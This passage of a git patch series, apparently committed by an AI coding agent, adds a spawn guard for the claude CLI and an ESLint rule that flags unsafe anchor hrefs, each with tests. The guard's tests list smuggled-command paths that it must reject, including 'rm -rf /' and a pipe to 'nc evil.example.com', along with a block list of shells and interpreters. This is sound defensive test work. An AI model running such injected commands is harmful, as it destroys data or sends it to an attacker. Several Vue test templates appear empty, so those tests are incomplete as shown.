assertSpawnable } from '@/infrastructure/obsidian/assertSpawnable'; import { buildSubprocessArgs } from '@/infrastructure/obsidian/buildSubprocessArgs'; import type { ChildProcessLike, @@ -57,6 +58,15 @@ export async function runSubprocessStructured( ); } + const guard = assertSpawnable(binaryPath); + if (!guard.ok) { + deps.logger.warn('subscription.structured.spawn_guard_rejected', { + transport: 'subscription', + event: 'structured.spawn_guard_rejected', + }); + return err(guard.error); + } + const timeoutMs = deps.clampTimeout(options.timeoutMs); const argv = _buildStructuredArgv(prompt, options); diff --git a/tests/infrastructure/obsidian/assertSpawnable.test.ts b/tests/infrastructure/obsidian/assertSpawnable.test.ts new file mode 100644 index 00000000..15465f7d --- /dev/null +++ b/tests/infrastructure/obsidian/assertSpawnable.test.ts @@ -0,0 +1,151 @@ +/** + * WP-9 Track 2 — `assertSpawnable` defense-in-depth guard. + * + * Verifies every rejection case in the spawn-guard table and confirms that + * the canonical `claude` family of basenames is accepted. + */ +import { describe, it, expect } from 'vitest' +import { assertSpawnable } from '@/infrastructure/obsidian/assertSpawnable' +import { ClaudeCliError } from '@/domain/ports/ClaudeCliPort' + +describe('assertSpawnable', () => { + describe('accepts canonical claude binary basenames', () => { + const accept: ReadonlyArray = [ + '/usr/local/bin/claude', + '/usr/bin/claude', + '/opt/homebrew/bin/claude', + '/home/user/.local/bin/claude', + '/usr/local/bin/claude-code', + 'C:\\Program Files\\Claude\\claude.exe', + 'C:\\Users\\u\\AppData\\Local\\Programs\\claude\\claude.cmd', + '/usr/local/bin/CLAUDE', // case-insensitive on basename + ] + for (const p of accept) { + it(`accepts ${p}`, () => { + const result = assertSpawnable(p) + expect(result.ok).toBe(true) + }) + } + }) + + describe('rejects empty input', () => { + it('rejects the empty string', () => { + const result = assertSpawnable('') + expect(result.ok).toBe(false) + if (!result.ok) { + expect(result.error).toBeInstanceOf(ClaudeCliError) + expect(result.error.errorCode).toBe('CLI_LAUNCH_FAILED') + expect(result.error.message).toContain('SPAWN_GUARD_FAILED') + } + }) + }) + + describe('rejects shell metacharacters', () => { + const reject: ReadonlyArray = [ + '/usr/local/bin/claude; rm -rf /', + '/usr/local/bin/claude && evil', + '/usr/local/bin/claude | nc evil.example.com 1234', + '/usr/local/bin/claude`evil`', + '/usr/local/bin/claude$EVIL', + '/usr/local/bin/claudeoutput', + '/usr/local/bin/claude\nrm', + '/usr/local/bin/claude\rrm', + ] + for (const p of reject) { + it(`rejects ${JSON.stringify(p)}`, () => { + const result = assertSpawnable(p) + expect(result.ok).toBe(false) + if (!result.ok) { + expect(result.error.message).toContain('shell metacharacter') + } + }) + } + }) + + describe('rejects relative paths', () => { + const reject: ReadonlyArray = [ + 'claude', + './claude', + '../bin/claude', + 'bin/claude', + 'npx claude', + ] + for (const p of reject) { + it(`rejects ${JSON.stringify(p)}`, () => { + const result = assertSpawnable(p) + expect(result.ok).toBe(false) + if (!result.ok) { + // Note: "npx claude" contains a space which isn't a metachar by our + // regex, so it falls through to the absolute-path check. + expect(result.error.message).toContain('SPAWN_GUARD_FAILED') + } + }) + } + }) + + describe('rejects shells and interpreters by basename', () => { + const reject: ReadonlyArray = [ + '/bin/sh', + '/bin/bash', + '/usr/bin/sh', + '/usr/bin/bash', + '/bin/zsh', + '/usr/bin/zsh', + '/bin/dash', + '/bin/fish', + '/bin/ksh', + '/bin/csh', + '/bin/tcsh', + 'C:\\Windows\\System32\\cmd.exe', + 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe', + 'C:\\Program Files\\PowerShell\\7\\pwsh.exe', + 'C:\\Windows\\System32\\wsl.exe', + '/usr/bin/env', + '/usr/bin/node', + 'C:\\Program Files\\nodejs\\node.exe', + ] + for (const p of reject) { + it(`rejects ${JSON.stringify(p)}`, () => { + const result = assertSpawnable(p) + expect(result.ok).toBe(false) + if (!result.ok) { + expect(result.error.message).toContain('shell or interpreter') + } + }) + } + }) + + describe('rejects non-claude basenames', () => { + const reject: ReadonlyArray = [ + '/usr/local/bin/curl', + '/usr/bin/whoami', + '/usr/local/bin/claude-something-else', // -something-else not allowed + '/usr/local/bin/anthropic', + '/usr/local/bin/claud', // typo + '/usr/local/bin/cclaude', + 'C:\\foo\\claude.sh', // unsupported suffix + ] + for (const p of reject) { + it(`rejects ${JSON.stringify(p)}`, () => { + const result = assertSpawnable(p) + expect(result.ok).toBe(false) + if (!result.ok) { + expect(result.error.message).toContain('SPAWN_GUARD_FAILED') + } + }) + } + }) + + describe('error envelope shape', () => { + it('surfaces as ClaudeCliError with code CLI_LAUNCH_FAILED', () => { + const result = assertSpawnable('/bin/sh') + expect(result.ok).toBe(false) + if (!result.ok) { + expect(result.error).toBeInstanceOf(ClaudeCliError) + expect(result.error.errorCode).toBe('CLI_LAUNCH_FAILED') + expect(result.error.name).toBe('ClaudeCliError') + } + }) + }) +}) From 4257e6d1dfac6ed3d1637e985398565f4eb73813 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 17 May 2026 13:47:12 +0000 Subject: [PATCH 4/6] =?UTF-8?q?feat(asv3):=20WP-9=20Track=203=20=E2=80=94?= =?UTF-8?q?=20no-unsafe-anchor-href=20ESLint=20rule?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a project-local preventive rule that flags any future raw anchor href / window.open / location.href / setAttribute('href', ...) site that doesn't wrap its value with `safeHref(...)` or a static string literal. Vue template surface: `` and `` bindings are checked via the `vue-eslint-parser` template visitor. Script surface: `.href = ...` assignments, `window.open(...)` calls, and `setAttribute('href', ...)` calls. Severity is WARN for now and scoped to `src/ui/components/{agent,chat}/` where the WP-9 audit was performed. The only `safeHref` consumer today is `MarkdownBlock.vue` (WP-4); this rule is preventive against future regressions and should be promoted to ERROR once the broader surface clears. Rule tests wired into `lint:rules`. The full `npm run lint` pass stays green (0 errors) — the audit confirmed no unsafe anchors exist outside the WP-4 surface. WP-9 brief: specs/agent-sidepanel-v3/wp-09-security-hardening/brief.md https://claude.ai/code/session_01UWDtzLuFJU3QmQmLrXCxWj --- .../__tests__/no-unsafe-anchor-href.test.cjs | 169 ++++++++++++++++ eslint-rules/no-unsafe-anchor-href.cjs | 180 ++++++++++++++++++ eslint.config.js | 18 ++ package.json | 2 +- 4 files changed, 368 insertions(+), 1 deletion(-) create mode 100644 eslint-rules/__tests__/no-unsafe-anchor-href.test.cjs create mode 100644 eslint-rules/no-unsafe-anchor-href.cjs diff --git a/eslint-rules/__tests__/no-unsafe-anchor-href.test.cjs b/eslint-rules/__tests__/no-unsafe-anchor-href.test.cjs new file mode 100644 index 00000000..5b550cba --- /dev/null +++ b/eslint-rules/__tests__/no-unsafe-anchor-href.test.cjs @@ -0,0 +1,169 @@ +/** + * WP-9 Track 3 — Tests for `no-unsafe-anchor-href`. + * + * Two surfaces: + * - Plain JS/TS: covered by ESLint's `RuleTester` against the default + * parser. + * - Vue templates: validated with the standalone `Linter` API and + * `vue-eslint-parser` so we exercise the same visitor wiring as the + * project lint pass. + */ + +'use strict' + +const { RuleTester, Linter } = require('eslint') +const rule = require('../no-unsafe-anchor-href.cjs') + +const ruleTester = new RuleTester({ + languageOptions: { + ecmaVersion: 2022, + sourceType: 'module', + }, +}) + +ruleTester.run('no-unsafe-anchor-href (script)', rule, { + valid: [ + // Static href assignments. + 'anchor.href = "/about"', + 'anchor.href = `static`', + // safeHref-wrapped values. + 'anchor.href = safeHref(userVar)', + 'anchor.href = utils.safeHref(userVar)', + // window.open with static URL. + 'window.open("https://example.com")', + 'window.open(safeHref(userVar))', + // setAttribute on something other than href. + 'el.setAttribute("data-id", userVar)', + // setAttribute with safeHref. + 'el.setAttribute("href", safeHref(userVar))', + // Unrelated assignments. + 'obj.value = userVar', + // Unrelated function calls. + 'someOtherFn(userVar)', + ], + invalid: [ + { + code: 'anchor.href = userVar', + errors: [{ messageId: 'unsafeHrefAssignment' }], + }, + { + code: 'anchor.href = `prefix${userVar}`', + errors: [{ messageId: 'unsafeHrefAssignment' }], + }, + { + code: 'window.open(userVar)', + errors: [{ messageId: 'unsafeWindowOpen' }], + }, + { + code: 'window.open(`${userVar}`)', + errors: [{ messageId: 'unsafeWindowOpen' }], + }, + { + code: 'el.setAttribute("href", userVar)', + errors: [{ messageId: 'unsafeSetAttribute' }], + }, + { + code: 'el.setAttribute("HREF", userVar)', + errors: [{ messageId: 'unsafeSetAttribute' }], + }, + ], +}) + +// ── Vue template surface ─────────────────────────────────────────────────── +const linter = new Linter() + +function lintVue(template) { + return linter.verify( + template, + [ + { + files: ['**/*.vue'], + plugins: { local: { rules: { 'no-unsafe-anchor-href': rule } } }, + rules: { 'local/no-unsafe-anchor-href': 'error' }, + languageOptions: { + parser: require('vue-eslint-parser'), + ecmaVersion: 2022, + sourceType: 'module', + }, + }, + ], + { filename: 'sample.vue' }, + ) +} + +const vueValidSafe = ` + +` +const vueValidStatic = ` + +` +const vueValidNonAnchor = ` + +` +const vueInvalid = ` + +` +const vueInvalidVBind = ` + +` + +const safeRes = lintVue(vueValidSafe) +if (safeRes.length !== 0) { + throw new Error( + 'no-unsafe-anchor-href Vue safe case: expected zero violations, got ' + + JSON.stringify(safeRes), + ) +} + +const staticRes = lintVue(vueValidStatic) +if (staticRes.length !== 0) { + throw new Error( + 'no-unsafe-anchor-href Vue static case: expected zero violations, got ' + + JSON.stringify(staticRes), + ) +} + +const nonAnchorRes = lintVue(vueValidNonAnchor) +if (nonAnchorRes.length !== 0) { + throw new Error( + 'no-unsafe-anchor-href Vue non-anchor case: expected zero violations, got ' + + JSON.stringify(nonAnchorRes), + ) +} + +const invalidRes = lintVue(vueInvalid) +if ( + invalidRes.length !== 1 || + invalidRes[0].messageId !== 'unsafeAnchorHref' +) { + throw new Error( + 'no-unsafe-anchor-href Vue unsafe case: expected one unsafeAnchorHref violation, got ' + + JSON.stringify(invalidRes), + ) +} + +const invalidVBindRes = lintVue(vueInvalidVBind) +if ( + invalidVBindRes.length !== 1 || + invalidVBindRes[0].messageId !== 'unsafeAnchorHref' +) { + throw new Error( + 'no-unsafe-anchor-href Vue v-bind unsafe case: expected one unsafeAnchorHref violation, got ' + + JSON.stringify(invalidVBindRes), + ) +} + +// eslint-disable-next-line no-console +console.log( + 'eslint-rules/no-unsafe-anchor-href: all RuleTester cases + Vue template assertions passed.', +) diff --git a/eslint-rules/no-unsafe-anchor-href.cjs b/eslint-rules/no-unsafe-anchor-href.cjs new file mode 100644 index 00000000..e04e770d --- /dev/null +++ b/eslint-rules/no-unsafe-anchor-href.cjs @@ -0,0 +1,180 @@ +/** + * WP-9 Track 3 — `no-unsafe-anchor-href` ESLint rule. + * + * Preventive rule: flags any future Vue `` or JSX/TS pattern + * that hands a non-`safeHref(...)`-wrapped expression to an anchor `href`, + * `window.open`, or `location.href` assignment. + * + * Scope at the time of authoring (WP-9 audit): + * - The only `safeHref` consumer in the agent-sidepanel surface is + * `MarkdownBlock.vue`, owned by WP-4. + * - Every other Vue file under `src/ui/components/{agent,chat}/` was + * hand-audited and contains no anchor that interpolates user-controlled + * content into `href`. The rule is preventive — it should fire on any + * FUTURE unsafe anchor. + * + * Patterns flagged (at WARN severity initially): + * 1. `` where `` is anything other than + * `safeHref(...)`, a static string literal, or a clearly-safe constant + * such as a vue-router `to` binding (only handled in templates with + * Vue's ``, not raw anchors). + * 2. Direct DOM assignments: `someAnchor.href = userVar` / + * `someAnchor.setAttribute('href', userVar)` outside of `safeHref`. + * 3. `window.open(userVar)` outside of `safeHref(...)`. + * 4. `location.href = userVar` / `window.location.href = userVar`. + * + * CommonJS so it loads through the same `createRequire` path used by the + * existing `no-claude-home-reads` rule. + */ + +'use strict' + +/** Whitelist of expression shapes considered safe for use as an `href`. */ +function isSafeHrefSource(node) { + if (!node) return false + // Static string literal: `` is safe. + if (node.type === 'Literal' && typeof node.value === 'string') return true + // Template literal with no expressions: still a static string. + if (node.type === 'TemplateLiteral' && node.expressions.length === 0) return true + // `safeHref(...)` call — any function literally named `safeHref` at the + // call site is accepted. We intentionally do NOT require a specific import + // path because the rule is preventive and import-path tracking is brittle. + if (node.type === 'CallExpression') { + const callee = node.callee + if (callee.type === 'Identifier' && callee.name === 'safeHref') return true + if ( + callee.type === 'MemberExpression' && + callee.property.type === 'Identifier' && + callee.property.name === 'safeHref' + ) { + return true + } + } + return false +} + +/** + * Vue template visitor: walk the AST emitted by `vue-eslint-parser` and flag + * `` / `` bindings whose value expression + * is not on the safe-source allow-list. + */ +function buildTemplateVisitor(context) { + return { + "VAttribute[directive=true][key.name.name='bind'][key.argument.name='href']"(node) { + // The bound element must be an anchor. `node.parent.parent` is the + // VElement; check its `rawName` for case-insensitive `a`. + const element = node.parent && node.parent.parent + if (!element || element.type !== 'VElement') return + const tagName = + element.rawName !== undefined ? String(element.rawName).toLowerCase() : '' + if (tagName !== 'a') return + + const expr = node.value && node.value.expression + if (expr === null || expr === undefined) return + if (isSafeHrefSource(expr)) return + + context.report({ + node, + messageId: 'unsafeAnchorHref', + }) + }, + } +} + +/** JS/TS visitor for direct DOM `.href` / `location.href` / `window.open` use. */ +function buildScriptVisitor(context) { + return { + AssignmentExpression(node) { + if (node.operator !== '=') return + const left = node.left + if (left.type !== 'MemberExpression') return + const prop = left.property + const propName = + prop.type === 'Identifier' + ? prop.name + : prop.type === 'Literal' && typeof prop.value === 'string' + ? prop.value + : null + if (propName !== 'href') return + // Allow `obj.href = 'static-string'` and `obj.href = safeHref(...)`. + if (isSafeHrefSource(node.right)) return + context.report({ node, messageId: 'unsafeHrefAssignment' }) + }, + CallExpression(node) { + const callee = node.callee + if (callee.type !== 'MemberExpression') return + const prop = callee.property + const propName = prop.type === 'Identifier' ? prop.name : null + // window.open() — flag when first arg isn't a safe source. + if (propName === 'open') { + const obj = callee.object + const objName = + obj.type === 'Identifier' + ? obj.name + : obj.type === 'MemberExpression' && obj.property.type === 'Identifier' + ? obj.property.name + : null + if (objName !== 'window') return + const firstArg = node.arguments[0] + if (firstArg === undefined) return + if (isSafeHrefSource(firstArg)) return + context.report({ node, messageId: 'unsafeWindowOpen' }) + } + // anchor.setAttribute('href', ) — flag when value arg isn't safe. + if (propName === 'setAttribute') { + const firstArg = node.arguments[0] + const secondArg = node.arguments[1] + if (firstArg === undefined || secondArg === undefined) return + const attrName = + firstArg.type === 'Literal' && typeof firstArg.value === 'string' + ? firstArg.value.toLowerCase() + : null + if (attrName !== 'href') return + if (isSafeHrefSource(secondArg)) return + context.report({ node, messageId: 'unsafeSetAttribute' }) + } + }, + } +} + +module.exports = { + meta: { + type: 'problem', + docs: { + description: + 'Forbid passing user-controllable expressions to anchor href / ' + + 'window.open / location.href. Wrap with safeHref() instead ' + + '(WP-9 Track 3, NFR-ASM-005 link-surface hardening).', + }, + schema: [], + messages: { + unsafeAnchorHref: + 'Anchor `:href` binding must use `safeHref(...)` or a static string. ' + + 'Raw user-controllable expressions enable javascript:/data: URL XSS.', + unsafeHrefAssignment: + 'Direct `.href` assignment must use `safeHref(...)` or a static string ' + + '(WP-9 Track 3 link-surface hardening).', + unsafeWindowOpen: + '`window.open(...)` first argument must be `safeHref(...)` or a static ' + + 'string (WP-9 Track 3 link-surface hardening).', + unsafeSetAttribute: + '`setAttribute(\'href\', ...)` value must be `safeHref(...)` or a static ' + + 'string (WP-9 Track 3 link-surface hardening).', + }, + }, + create(context) { + const sourceCode = context.sourceCode || context.getSourceCode() + const parserServices = sourceCode.parserServices || {} + + // Vue template visitor is only available when the file was parsed by + // vue-eslint-parser. Combine via `defineTemplateBodyVisitor` when present; + // otherwise return the script-only visitor. + if (typeof parserServices.defineTemplateBodyVisitor === 'function') { + return parserServices.defineTemplateBodyVisitor( + buildTemplateVisitor(context), + buildScriptVisitor(context), + ) + } + return buildScriptVisitor(context) + }, +} diff --git a/eslint.config.js b/eslint.config.js index 29d38cde..fe704144 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -17,6 +17,8 @@ import globals from 'globals'; const localRequire = createRequire(import.meta.url); // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment const noClaudeHomeReadsRule = localRequire('./eslint-rules/no-claude-home-reads.cjs'); +// eslint-disable-next-line @typescript-eslint/no-unsafe-assignment +const noUnsafeAnchorHrefRule = localRequire('./eslint-rules/no-unsafe-anchor-href.cjs'); const tsconfigRootDir = fileURLToPath(new URL('.', import.meta.url)); @@ -126,6 +128,8 @@ export default defineConfig( rules: { // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment 'no-claude-home-reads': noClaudeHomeReadsRule, + // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment + 'no-unsafe-anchor-href': noUnsafeAnchorHrefRule, }, }, }, @@ -134,6 +138,20 @@ export default defineConfig( }, }, + // WP-9 Track 3 — preventive anchor-href guard. Scoped to the agent / + // chat surface where the audit was performed. WARN severity initially: + // the only `safeHref` consumer today is `MarkdownBlock.vue` (WP-4); the + // rule is preventive against future regressions. Promote to error once + // the WP-4 surface lands and the audit clears at error severity. The + // `local` plugin (with both rules registered) is bound to its files in + // the block above; this block only flips the second rule on. + { + files: ['src/ui/components/agent/**/*.vue', 'src/ui/components/chat/**/*.vue'], + rules: { + 'local/no-unsafe-anchor-href': 'warn', + }, + }, + // Wire @typescript-eslint/parser into vue-eslint-parser for